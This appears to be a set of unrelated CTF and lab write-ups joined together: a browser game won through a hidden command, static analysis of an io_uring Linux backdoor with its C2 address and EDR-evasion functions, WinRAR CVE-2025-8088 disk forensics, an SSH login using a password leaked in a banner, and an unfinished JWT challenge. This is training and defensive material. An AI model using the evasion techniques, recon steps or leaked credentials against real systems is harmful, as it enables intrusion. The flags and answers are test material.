Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

If you click to start the challenge, you’ll be given an IP:Port to connect to. In my case, it is 154.57.164.75:32410, yours will almost certainly be different. Going to that page, I see this:

I follow along and type start and it gives me options like this:

>> start
YOU WAKE UP IN A FOREST.

You have 4 options!
HEAD NORTH
HEAD SOUTH
HEAD EAST
HEAD WEST

I tried to play along still, but even when I typed an available option, it is apparently case sensitive. So they are doing some sort of input validation. Given that this is a text engagement, I was wondering if we’d get some command injection or something. The first step to that would be to get past the validation.

>> head north
You do realise its not a park where you can just play around and move around pick from options how are hard it is for you????

>> HEAD NORTH
Venturing forth with the grace of a three-legged cat, you head North. Turns out, your sense of direction is as bad as your cooking - somehow, it actually works out this time. You stumble into a clearing, finding a small, cozy-looking tavern with "The Sloshed Squirrel" swinging on the signpost. Congratulations, you've avoided immediate death by boredom and possibly by beasties. For now...

I checked and it does send the commands to the server. My next command was sent to http://154.57.164.75:32410/api/monitor as this request and then response

// Request
{command: "TURN BACK"}

// Response
{ "message": "You decide to turn back, but you realize you've lost your way. Night falls, and the forest becomes a dark, eerie place. You hear mysterious sounds closing in. Game over!" }

I tried a few simple commands and couldn’t get anything going

>> id
'id' command not found. For a list of commands, type 'help'

>> help
start Start the game
clear Clear the game screen
audio Toggle audio on/off
restart Restart the game
info Show info about the game

>> info
You abruptly find yourself lucid in the middle of a bizarre, alien forest.
How the hell did you end up here?
Eerie, indistinguishable sounds ripple through the gnarled trees, setting the hairs on your neck on edge.
Glancing around, you spot a gangly, grinning figure lurking in the shadows, muttering 'Xclow3n' like some sort of deranged mantra, clearly waiting for you to pass out or something. Creepy much?
Heads up! This forest isn't your grandmother's backyard.
It's packed with enough freaks and frights to make a horror movie blush. Time to find your way out.
The stakes? Oh, nothing big. Just your friends, plunged into an abyss of darkness and despair.
Punch in 'start' to kick things off in this twisted adventure!

>> start
YOU WAKE UP IN A FOREST.

You have 4 options!
HEAD NORTH
HEAD SOUTH
HEAD EAST
HEAD WEST

>> id
You do realise its not a park where you can just play around and move around pick from options how are hard it is for you????

>> ;id
You do realise its not a park where you can just play around and move around pick from options how are hard it is for you????

>> id; #
You do realise its not a park where you can just play around and move around pick from options how are hard it is for you????

Okay, let’s take a look at the source code of the web app. I went into Developer Tools -> Sources and saw that there are 3 main javascript files at work here.

 <script src="/static/terminal/js/commands.js" type="module"></script>
 <script src="/static/terminal/js/main.js" type="module"></script>
 <script src="/static/terminal/js/game.js" type="module"></script>

Commands.js seems interesting. What’s in there?

export const START = 'YOU WAKE UP IN A FOREST.';

export const INITIAL_OPTIONS = [
    '<span class="command">You have 4 options!</span>',
    'HEAD NORTH',
    'HEAD SOUTH',
    'HEAD EAST',
    'HEAD WEST'
];

export const GAME_LOST =  'You <span class="command error">died</span> and couldn\'t escape the forest. Press <span class="command error">restart</span> to try again.';

export const GAME_WON = 'You <span class="command success">escaped</span> the forest and <span class="command success">won</span> the game! Congratulations! Press <span class="command success">restart</span> to play again.';

export const INFO = [
    "You abruptly find yourself lucid in the middle of a bizarre, alien forest.",
    "How the hell did you end up here?",
    "Eerie, indistinguishable sounds ripple through the gnarled trees, setting the hairs on your neck on edge.",
    "Glancing around, you spot a gangly, grinning figure lurking in the shadows, muttering 'Xclow3n' like some sort of deranged mantra, clearly waiting for you to pass out or something. Creepy much?",
    "Heads up! This forest isn't your grandmother's backyard.",
    "It's packed with enough freaks and frights to make a horror movie blush. Time to find your way out.",
    "The stakes? Oh, nothing big. Just your friends, plunged into an abyss of darkness and despair.",
    "Punch in 'start' to kick things off in this twisted adventure!"
];

export const CONTROLS = [
    "Use the <span class='command'>arrow</span> keys to traverse commands in the command history.",
    "Use the <span class='command'>enter</span> key to submit a command.",
];

export const HELP = [
    '<span class="command help">start</span> Start the game',
    '<span class="command help">clear</span> Clear the game screen',
    '<span class="command help">audio</span> Toggle audio on/off',
    '<span class="command help">restart</span> Restart the game',
    '<span class="command help">info</span> Show info about the game',
];

Okay, nothing exciting in there. The game.js is extremely boring and nothing is in there. That leaves us with main.js. There is a lot in main.js, but here is a relevant part where it checks the command and sends it to the API and also where it gets your options.

// HTTP REQUESTS
// ---------------------------------------
async function CheckMessage() {
    fetchingResponse = true;
    currentCommand = commandHistory[commandHistory.length - 1];

    if (availableOptions[currentStep].includes(currentCommand) || availableOptions['secret'].includes(currentCommand)) {
        await fetch('/api/monitor', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({ 'command': currentCommand })
        })
            .then((res) => res.json())
            .then(async (data) => {
                console.log(data)
                await displayLineInTerminal({ text: data.message });

                if(data.message.includes('Game over')) {
                    playerLost();
                    fetchingResponse = false;
                    return;
                }

                if(data.message.includes('HTB{')) {
                    playerWon();
                    fetchingResponse = false;

                    return;
                }

                if (currentCommand == 'HEAD NORTH') {
                    currentStep = '2';
                }
                else if (currentCommand == 'FOLLOW A MYSTERIOUS PATH') {
                    currentStep = '3'
                }
                else if (currentCommand == 'SET UP CAMP') {
                    currentStep = '4'
                }

                let lineBreak = document.createElement("br");


                beforeDiv.parentNode.insertBefore(lineBreak, beforeDiv);
                displayLineInTerminal({ text: '<span class="command">You have 4 options!</span>' })
                displayLinesInTerminal({ lines: availableOptions[currentStep] })
                fetchingResponse = false;
            });


    }
    else {
        displayLineInTerminal({ text: "You do realise its not a park where you can just play around and move around pick from options how are hard it is for you????" });
        fetchingResponse = false;
    }
}

// LATER IN THE FILE
const fetchOptions = () => {
    fetch('/api/options')
        .then((data) => data.json())
        .then((res) => {
            availableOptions = res.allPossibleCommands;

        })
        .catch(() => {
            availableOptions = undefined;
        })
}

That /api/monitor gets POSTed to. Attempting a GET returns a MethodNotAllowed error. We will have to keep an eye on how it is interacted with. Let’s call the other API that we found: /api/options. That gives us this:

{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

Okay, what is the “secret” one? Can I use that? It turns out that I can’t use it at the beginning of the game. I still have to enter “start”. However, once the game is in play (which makes sense given all the other commands in this list are “in game” commands), I can use that secret to win the game.

>> Blip-blop, in a pickle with a hiccup! Shmiggity-shmack
'blip-blop, in a pickle with a hiccup! shmiggity-shmack' command not found. For a list of commands, type 'help'

>> start
YOU WAKE UP IN A FOREST.

You have 4 options!
HEAD NORTH
HEAD SOUTH
HEAD EAST
HEAD WEST

>> Blip-blop, in a pickle with a hiccup! Shmiggity-shmack
HTB{D3v3l0p3r_t00l5_4r3_b35t__t0015_wh4t_d0_y0u_Th1nk??}

You escaped the forest and won the game! Congratulations! Press restart to play again.

That’s it. Not “nothing”, but definitely “Very Easy” by Hack the Box standards, as advertised. Any questions, let me know!

Our given scenario is

Your organization's SOC team intercepted a suspicious binary during a routine threat hunting operation on a Linux server. The file was found in /var/tmp with an unusual name and was attempting to establish outbound connections. Initial analysis suggests this could be a post-exploitation agent. Your task is to perform static analysis on the binary to identify its capabilities, extract indicators of compromise, and understand the threat actor's infrastructure.

Task 1 Question: What is the SHA256 hash of the malicious binary?

This starts out easily enough. If you’re using Linux, you can just issue this command and get the result. (PS… yes this hash is in VirusTotal)

$ sha256sum agent                   
2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5  agent

Task 1 Answer: 2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5

Task 2 Question: What is the IP address hardcoded in the binary for C2 communication?
Let’s use strings right off the bat. That might help us with a few of these next couple of questions. In this case, I only see one IP Address returned.

$ strings agent              
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
## SNIP ## 
get 
recv 
users
netstat
kick
privesc
sdestruct
killbpf
exit
[*] 404 Command not found [*]
io_uring_queue_init
192.168.56.1
socket
io_uring_wait_cqe: %s
connect() failed: trying to reconnect
## SNIP ##
.data
.bss
.comment            

Task 2 Answer: 192.168.56.1

Task 3 Question: What port does the agent connect to on the C2 server?
Okay, the strings thing was a naive way to approach this and I knew Hack the Box would drive this deeper. I don’t see anything overtly obvious in strings, so I decided to use Ghidra to decompile it. You know you can do it without difficulty because it isn’t a stripped binary. How do I know that? If you run the file command on the file, it tells you.

$ file agent            
agent: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1f617f2ea259a7ec724d7bbc01627982dc2f0495, for GNU/Linux 3.2.0, not stripped

This isn’t a Ghidra tutorial (and trust me, you wouldn’t want me to give you one), but here are the steps I took. I created a new project, did File -> Import File to bring in the agent executable, and then after it loaded, right clicked it and did Open With -> CodeBrowser. Then, on the left hand side, there is a section called Symbol Tree. Scroll into functions, find the main and click to select it.

Then, go to the menu at the top of Ghidra and select Window -> Decompile:main (or hit CTRL-E).

That opens a code window to the right of the assembly code you had been looking at. It is written in C and doesn’t have any variables named in a friendly way. However, you can scan over the code or read through if you’re familiar with C. I was looking for something related to this network call, and found where it logged out what was being attempted.

printf("[+] Connected to %s:%d\n","192.168.56.1",0x115d);

That string format is telling you it is going to output this in the format of string:decimal and we know the string is going to be 192.168.56.1. But what’s the decimal? The decimal is being represented by the hex of 0x115d, which if you hover on it in CodeBrowser (or do the math), tells you that is 4445. And that’s our answer.

Task 3 Answer: 4445

Task 4 Question: How many seconds does the agent wait before attempting to reconnect after a failed connection?

Inside one of the nested while(true) loops, as it ends, the code does this:

sleep(0x78);

0x78 (again, do the math or hover on the value in Ghidra) is 120, which is our answer.

Task 4 Answer: 120

Task 5 Question: How many different commands does the agent support? (excluding invalid commands)

Over in the Symbol Tree, there is another function called process_cmd. Since we already have the Decompile window open, just click on process_cmd and the relevant code shows up. There is a long if-else statement in there that covers all the commands: recv, users, ss, netstat, ps, me, kick, privesc, sdestruct, killbpf, and exit.

Task 5 Answer: 11

Task 6 Question: What Linux kernel interface does this malware abuse to evade EDR syscall monitoring?
So, this one is what gives the room its name. If you look in the symbol tree, there are a ton of calls to io_uring_cq_advance, io_uring_cqe_seen, io_uring_prep_close… I think 14 in total. Googling it, you see that this interface was abused in RingReaper malware, so that should be our answer… and it is.

Task 6 Answer: io_uring

Task 7 Question: What file does the agent read to enumerate logged-in users?

Another function is called cmd_users, if we open it for decompile, we see the file being read

iVar2 = read_file_uring(param_1,"/var/run/utmp",local_4018,0x2000);

Task 7 Answer: /var/run/utmp

Task 8 Question: What directory does the agent scan when searching for SUID binaries for privilege escalation?

There is another function called cmd_privesc. Inside there, you can see this, giving us our answer.

local_4330 = opendir("/usr/bin");

Task 8 Answer: /usr/bin

Task 9 Question: What string does the agent search for in /proc/[pid]/maps to identify security tools using eBPF?

In the function, cmd_killbpf, if we scan down we can find this path. While working in there, it reads the file for the process (using read_file_uring), then searches for the string anon_inode:bpf-map

snprintf(local_6118,0x100,"/proc/%s/maps",local_6150->d_name);
*(undefined8 *)(puVar6 + -0x11a8) = 0x103cb2;
iVar2 = read_file_uring(param_1,local_6118,local_4018,0x4000);
} while (iVar2 < 1);
  *(undefined8 *)(puVar6 + -0x11a8) = 0x103cde;
  pcVar4 = strstr(local_4018,"anon_inode:bpf-map");

Task 9 Answer: anon_inode:bpf-map

Task 10 Question: What is the full path of the first tracing file the agent attempts to disable?

Same function. The first one in the array is the answer.

  local_6138[0] = "/sys/kernel/debug/tracing/tracing_on";
  local_6138[1] = "/sys/kernel/debug/tracing/set_event";
  local_6138[2] = "/sys/kernel/debug/tracing/current_tracer";

Task 10 Answer: /sys/kernel/debug/tracing/tracing_on

Task 11 Question: What procfs path does the agent read to find its own executable location before self-destruction?

In cmd_selfdestruct, it is right here:

local_2a8 = readlink("/proc/self/exe",local_218,0x1ff);

Task 11 Answer: /proc/self/exe

Task 12 Question: What command string is compared by the agent to trigger deletion of its own binary?

Back in Task 5, I listed all the commands and where to see them. It is the obvious one where the if/else leads to cmd_selfdestruct.

Task 12 Answer: sdestruct

And here we go.

Any questions, let me know.

Susan works at the Research Lab in Forela International Hospital. A Microsoft Defender alert was received from her computer, and she also mentioned that while extracting a document from the received file, she received tons of errors, but the document opened just fine. According to the latest threat intel feeds, WinRAR is being exploited in the wild to gain initial access into networks, and WinRAR is one of the Software programs the staff uses. You are a threat intelligence analyst with some background in DFIR. You have been provided a lightweight triage image to kick off the investigation while the SOC team sweeps the environment to find other attack indicators.

Inside the zip is a disk image named 2025-09-02T083211_pathology_department_incidentalert.vhdx. If we treat this like a real investigation, we need to always make sure that the file is read only. When I mount it in Windows, I can click through and see “stuff”.

Let’s see what we have to do.

Task 1 Question: What is the CVE assigned to the WinRAR vulnerability exploited by the RomCom threat group in 2025?

So this one is just a Google problem. I searched romcom winrar vulnerability and the second link pointed me here, which gave the answer.

Task 1 Answer: CVE-2025-8088

Task 2 Question: What is the nature of this vulnerability?

Read the link and it is right there at the start.

Task 2 Answer: path traversal

Task 3 Question: What is the name of the archive file under Susan’s documents folder that exploits the vulnerability upon opening the archive file?

Here, I just want to dig in and look at the files. The Drive Label is “KAPE (2025-09-02T08:32:11)” and inside the C folder is an $MFT file. We know we’re dealing with KAPE artifacts now, so we need help from hero of the community, Eric Zimmerman. I was just going to use his suggestion and grab all tools so that I’m totally up to date. However, the download links are broken at the moment. I’m using a version from Chocolatey “choco install ericzimmermantools“, but it isn’t 100% up-to-date. However, I think this will get us enough of the tools to do this easy HTB room.

One of the tools that I got was called MFT Explorer. This is a graphical version of his famed MFTECmd tool. I used that to load up the image and here’s what I see.

I used the tool to navigate to c:\users\susan\Documents and this is what I see, telling us the answer.

Task 3 Answer: Pathology-Department-Research-Records.rar

Task 4 Question: When was the archive file created on the disk?

Look at the SI_Created On column.

Task 4 Answer: 2025-09-02 08:13:50

Task 5 Question: When was the archive file opened?

You can see this in SI_Record Changed or in the Overview tab when the file is selected under Record Modified On.

Flags: Archive, Max Version: 0x0, Flags 2: None, Class Id: 0x0, Owner Id: 0x0, Security Id: 0x9DD, Quota Charged: 0x0 
Update Sequence #: 0x364A528

Created On:		2025-09-02 08:13:50.5190826
Content Modified On:	2025-09-02 14:54:54.0000000
Record Modified On:	2025-09-02 08:14:04.9807437
Last Accessed On:	2025-09-02 08:14:18.8730290

Task 5 Answer: 2025-09-02 08:14:04

Task 6 Question: What is the name of the decoy document extracted from the archive file, meant to appear legitimate and distract the user?

Using the 8:14:04 as a clue, we look in the Documents folder and see that a .pdf was created at 08:14:18 of the same day. That’s our file.

Task 6 Answer: Genotyping_Results_B57_Positive.pdf

Task 7 Question: What is the name and path of the actual backdoor executable dropped by the archive file?

We cheated a bit to get those last 2 answer. That’s not the best way to go about that. At this point, we need to not be lazy and do this correctly. We need to parse the journal and to do that, we’re going to use the MFTECmd.exe tool against the $J file and also give it the location of where to save the csv and what to call it.

PS > MFTECmd.exe -f 'd:\C\$Extend\$J' --csv "c:\code\" --csvf "Journal.csv"
MFTECmd version 2026.5.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/MFTECmd

Command line: -f d:\C\$Extend\$J --csv c:\code\ --csvf Journal.csv

File type: UsnJournal


Processed d:\C\$Extend\$J in 0.2817 seconds

Usn entries found in d:\C\$Extend\$J: 215,579
        CSV output will be saved to c:\code\Journal.csv

Okay, now we’re going to use another tool to open that csv called TimelineExplorer.exe that also gets installed when you get all of the Eric Zimmerman tools.

I then added a filter for .exe files and then sorted by “Update Timestamp“. If we scroll down to the 2025-09-02 08:14:04 timeframe, we find our problem child.

So we can see the name, but not where it is dropped. We could look all around the MFT Explorer, but this is what I get for using GUI tools instead of going command line first. The best way to do this is to parse the $MFT file into a .csv also and use Timeline Explorer to get the path.

PS> MFTECmd.exe -f 'd:\C\$MFT' --csv "c:\code\" --csvf MFT.csv
MFTECmd version 2026.5.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/MFTECmd

Command line: -f d:\C\$MFT --csv c:\code\ --csvf MFT.csv

File type: Mft

Processed d:\C\$MFT in 1.7880 seconds

d:\C\$MFT: FILE records found: 139,533 (Free records: 0) File size: 136.5MB
        CSV output will be saved to c:\code\MFT.csv

Okay, when we open that up and search for the file name, it comes right up.

Task 7 Answer: c:\users\susan\AppData\Local\ApbxHelper.exe

Task 8 Question: The exploit also drops a file to facilitate the persistence and execution of the backdoor. What is the path and name of this file?

Persistence and execution usually means that something needs to run on startup. So the first thing I’d check would be shortcuts in a startup path, next I’d check for services added. But when I just do a find for startup in Timeline Explorer in the MFT csv, I get 254 lines. The first one that appears after the incident (and any time for the next several minutes) is a file called Display Settings.lnk.

Task 8 Answer: c:\users\susan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Display Settings.lnk

Task 9 Question: What is the associated MITRE Technique ID discussed in the previous question?

I googled for mitre id for persistence via the startup folder and that let me to T1547:Boot or Logon Autostart Execution. I guessed the wrong sub-technique, thinking that it would be .001: Registry Run Keys / Startup Folder, but eventually figured that they wanted .009:Shortcut Modification.

Task 9 Answer: T1547.009

Task 10 Question: When was the decoy document opened by the end user, thinking it to be a legitimate document?

Within the MFT csv, search for the document name Genotyping_Results_B57_Positive.pdf, you can see when it was opened and you can confirm it in the Journal.csv.

Task 10 Answer: 2025-09-02 08:15:05

That’s it. Maybe not the most efficient run-through, but we got it done. Any questions or comments, please let me know.

Here’s the description:
You’ve learned some great nmap skills! Now can you combine that with other skills with netcat and protocols, to log in to this machine and find the flag? This VM is listening on a high port, and if you connect to it it may give you some information you can use to connect to a lower port commonly used for remote access!

There is only one thing to answer for this room and it turns out that all they want is a flag. So let’s get after it. You can se the AttackBox or your own machine. I’m using my own Kali VM here, so I’ve downloaded my openvpn config file and I connect like this

sudo openvpn ~/Downloads/ThmPremium.ovpn

In my case, the IP of the machine is 10.64.156.76, so the first thing I do is give it enough time and then make sure that a) it is up and b) that I can see it through my VPN connection (this isn’t always a guarantee and I’ve had to get a newer config file in the past and reconnect and try again). After seeing some responses from the ping, I hit CTRL-C to stop it and move on

$ ping 10.64.156.76
PING 10.64.156.76 (10.64.156.76) 56(84) bytes of data.
64 bytes from 10.64.156.76: icmp_seq=1 ttl=62 time=67.8 ms
64 bytes from 10.64.156.76: icmp_seq=2 ttl=62 time=89.0 ms
64 bytes from 10.64.156.76: icmp_seq=3 ttl=62 time=73.8 ms
64 bytes from 10.64.156.76: icmp_seq=4 ttl=62 time=50.8 ms
^C
--- 10.64.156.76 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 50.790/70.361/89.006/13.682 ms

The next step is to run an nmap scan. They told us that there is a high port available as a hint. So, I’m not going to play around and I’m going to start by checking all TCP ports (-p-). This can take longer, especially when you are on a VPN instead of the AttackBox, but I don’t mind. The -T4 helps speed it up and I don’t mind waiting. As it is, this came back in about 13 seconds for me. The –sCV tells nmap to run default scripts (C) and to try to determine versions (V) of the services running.

$ nmap -sCV -p- -T4 10.64.156.76 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 12:13 -0400
Nmap scan report for 10.64.156.76
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7d:dc:eb:90:e4:af:33:d9:9f:0b:21:9a:fc:d5:77:f2 (RSA)
|   256 83:a7:4a:61:ef:93:a3:57:1a:57:38:5c:48:2a:eb:16 (ECDSA)
|_  256 30:bf:ef:94:08:86:07:00:f7:fc:df:e8:ed:fe:07:af (ED25519)
2222/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0b:8d:7c:be:ac:e7:ae:f5:29:c5:61:eb:fa:c1:93:c2 (RSA)
|   256 3d:16:86:a3:ee:9d:3a:8b:d1:00:3a:70:d2:20:e5:d9 (ECDSA)
|_  256 c1:fa:11:55:97:53:bb:a5:0b:8a:61:c0:12:60:ad:52 (ED25519)
31337/tcp open  Elite?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     In case I forget - user:pass
|_    ubuntu:Dafdas!!/str0ng
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.99%I=7%D=6/25%Time=6A3D53BA%P=x86_64-pc-linux-gnu%r(N
SF:ULL,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/st
SF:r0ng\n\n")%r(GetRequest,35,"In\x20case\x20I\x20forget\x20-\x20user:pass
SF:\nubuntu:Dafdas!!/str0ng\n\n")%r(SIPOptions,35,"In\x20case\x20I\x20forg
SF:et\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(GenericLines,35,"I
SF:n\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n"
SF:)%r(HTTPOptions,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu
SF::Dafdas!!/str0ng\n\n")%r(RTSPRequest,35,"In\x20case\x20I\x20forget\x20-
SF:\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(RPCCheck,35,"In\x20case\x
SF:20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(DNSVers
SF:ionBindReqTCP,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:D
SF:afdas!!/str0ng\n\n")%r(DNSStatusRequestTCP,35,"In\x20case\x20I\x20forge
SF:t\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(Help,35,"In\x20case
SF:\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(SSLSe
SF:ssionReq,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas
SF:!!/str0ng\n\n")%r(TerminalServerCookie,35,"In\x20case\x20I\x20forget\x2
SF:0-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(TLSSessionReq,35,"In\x2
SF:0case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(
SF:Kerberos,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas
SF:!!/str0ng\n\n")%r(SMBProgNeg,35,"In\x20case\x20I\x20forget\x20-\x20user
SF::pass\nubuntu:Dafdas!!/str0ng\n\n")%r(X11Probe,35,"In\x20case\x20I\x20f
SF:orget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(FourOhFourReque
SF:st,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str
SF:0ng\n\n")%r(LPDString,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\n
SF:ubuntu:Dafdas!!/str0ng\n\n")%r(LDAPSearchReq,35,"In\x20case\x20I\x20for
SF:get\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n")%r(LDAPBindReq,35,"I
SF:n\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n"
SF:)%r(LANDesk-RC,35,"In\x20case\x20I\x20forget\x20-\x20user:pass\nubuntu:
SF:Dafdas!!/str0ng\n\n")%r(TerminalServer,35,"In\x20case\x20I\x20forget\x2
SF:0-\x20user:pass\nubuntu:Dafdas!!/str0ng\n\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds

So, interesting. I see 3 ports open: 22 (running SSH), 2222 (running SSH), and 31337 (service unrecognized despite returning data) that tells us, “In case I forget – user:pass ubuntu:Dafdas!!/str0ng”

I decided to netcat directly to port 31337 and I just got that message and then the connection was closed. So that is seemingly all there is to find from that port.

$ nc 10.64.156.76 31337         
In case I forget - user:pass
ubuntu:Dafdas!!/str0ng

Okay. Well, we have 2 ports open with SSH, let’s try them in order.

$ ssh ubuntu@10.64.156.76                 
The authenticity of host '10.64.156.76 (10.64.156.76)' can't be established.
ED25519 key fingerprint is: SHA256:8VuYGtc5lO2sXK+MVsdbgQV9nF+EVHf8wJcrMAEWg10
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.64.156.76' (ED25519) to the list of known hosts.
ubuntu@10.64.156.76's password: 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1014-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ 

That worked. When I try port 2222, I get rejected immediately for not providing a public key.

$ ssh ubuntu@10.64.156.76 -p 2222
The authenticity of host '[10.64.156.76]:2222 ([10.64.156.76]:2222)' can't be established.
ED25519 key fingerprint is: SHA256:31v1b7mqLgFtZOZP/4qvBzUw5AzWmecr4m6GLPgDRJs
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.64.156.76]:2222' (ED25519) to the list of known hosts.
ubuntu@10.64.156.76: Permission denied (publickey).

So, let’s keep working in that port 22 connection.

$ ls
$ pwd
/home/ubuntu
$ ls -la
total 28
drwxr-xr-x 1 ubuntu ubuntu 4096 Jun 25 16:18 .
drwxr-xr-x 1 root   root   4096 Mar  2  2022 ..
-rw-r--r-- 1 ubuntu ubuntu  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25  2020 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Jun 25 16:18 .cache
-rw-r--r-- 1 ubuntu ubuntu  807 Feb 25  2020 .profile
$ find / -name flag.txt 2>/dev/null                
/home/user/flag.txt
$ cat /home/user/flag.txt
flag{251f309497a18888dde5222761ea88e4}

So, I expected to find a flag in the directory. There wasn’t one. So I checked where I landed and it was /home/ubutu, as I figured. So, I checked for hidden contents and there was nothing really there. Lastly, I took a shot and just searched the entire computer for a file named flag.txt (piping errors to /dev/null). If that came up with nothing, my next step would have been to look for user.txt, which is another popular flag file name. But, that proved not to be necessary, and I found the file and was able to cat its contents to the screen and finish the challenge. Pretty light work, but a good exercise in some of the just-beyond-basic-but-not-a-whole-lot uses of nmap.

Any questions or comments, let me know.

A simple help desk portal where users can submit support tickets. The application uses JWT tokens for session management, but something seems off about how they’re implemented. Can you find the security flaw?

Task 1: Submit challenge Flag

After starting the challenge, you’ll be given a public IP to hit on a specific port, so no VPN access is required. For me, that IP:Port is 154.57.164.83:30250. Given the nature of the challenge (and that it is under the Category of “Web”), I know it will be a web application. Regardless, I did an nmap scan on just that port at that IP so I could know a little bit about it and it seems that this is a Node.js/Express application.

$ nmap -sCV -vv -p 30250 154.57.164.83                 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-14 13:19 -0400
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.00s elapsed
Initiating Ping Scan at 13:19
Scanning 154.57.164.83 [4 ports]
Completed Ping Scan at 13:19, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:19
Completed Parallel DNS resolution of 1 host. at 13:19, 0.49s elapsed
Initiating SYN Stealth Scan at 13:19
Scanning 154-57-164-83.static.isp.htb.systems (154.57.164.83) [1 port]
Discovered open port 30250/tcp on 154.57.164.83
Discovered open port 30250/tcp on 154.57.164.83
Completed SYN Stealth Scan at 13:19, 0.24s elapsed (1 total ports)
Initiating Service scan at 13:19
Scanning 1 service on 154-57-164-83.static.isp.htb.systems (154.57.164.83)
Completed Service scan at 13:19, 11.45s elapsed (1 service on 1 host)
NSE: Script scanning 154.57.164.83.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 5.13s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:19
Completed NSE at 13:19, 0.75s elapsed
NSE: Starting runlevel 3 (of 3) scan.
